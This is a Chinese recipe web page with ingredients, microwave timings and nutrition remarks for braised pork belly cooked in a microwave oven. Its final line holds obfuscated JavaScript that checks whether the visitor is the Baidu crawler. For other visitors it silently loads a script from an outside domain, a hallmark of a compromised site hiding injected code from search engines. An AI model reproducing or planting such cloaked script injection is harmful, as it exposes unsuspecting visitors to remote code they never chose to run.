當(dāng)前位置:首頁 > 飲食 > 烹飪技巧 > 正文

用微波爐怎么做紅燒肉?微波爐做紅燒肉的方法

2013-04-18 09:08:57  來源:360常識網(wǎng)   熱度:
導(dǎo)語:聽說過,紅燒肉還可以用微波爐來做嗎?這道用微波爐做出來的紅燒肉,濃香酥爛,肥而不膩,省油省料省時省火省力,操作巨簡單無比,還沒有絲

聽說過,紅燒肉還可以用微波爐來做嗎?這道用微波爐做出來的紅燒肉,濃香酥爛,肥而不膩,省油省料省時省火省力,操作巨簡單無比,還沒有絲毫油煙,環(huán)保!一起來學(xué)學(xué)吧。

用微波爐怎么做紅燒肉?微波爐做紅燒肉的方法
用微波爐怎么做紅燒肉?微波爐做紅燒肉的方法

微波爐做紅燒肉的方法

原料:五花肉350g、料酒150ml、醬油、冰糖。

做法

1、五花肉切塊(不要太小塊,也可以放沸水里燙一下)。

2、取一微波爐的碗,放入五花肉,加入料酒、醬油、冰糖。醬油和糖的用量按各人的口味。調(diào)料差不多要淹過肉,不夠可加點(diǎn)水。

3、放好調(diào)料后,加蓋,放入750W微波爐,高火2分鐘——中火20分鐘——高火1分鐘就可以了。

健康小貼士

微波爐做菜的時間與原料的份量有直接的關(guān)系,如果肉少了,時間和溫度也要相應(yīng)調(diào)整。微波爐的高火、中高火、中火、小火也與爐火的溫度相對應(yīng),但是微波爐的加熱時間要比爐火短大約1/3,并且水分會喪失更多。上面只是一個參考做法,需要自己試做一兩次以后才能很好地掌握。

紅燒肉的營養(yǎng)價值

豬肉為人體提供優(yōu)質(zhì)蛋白質(zhì)和必需的脂肪酸,具有補(bǔ)血、潤燥的功效。一般人都可食用,尤其適宜陰虛不足、頭暈、貧血及營養(yǎng)不良者食用,但濕熱偏重、痰濕偏盛、舌苔厚膩之人,忌食豬肉。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}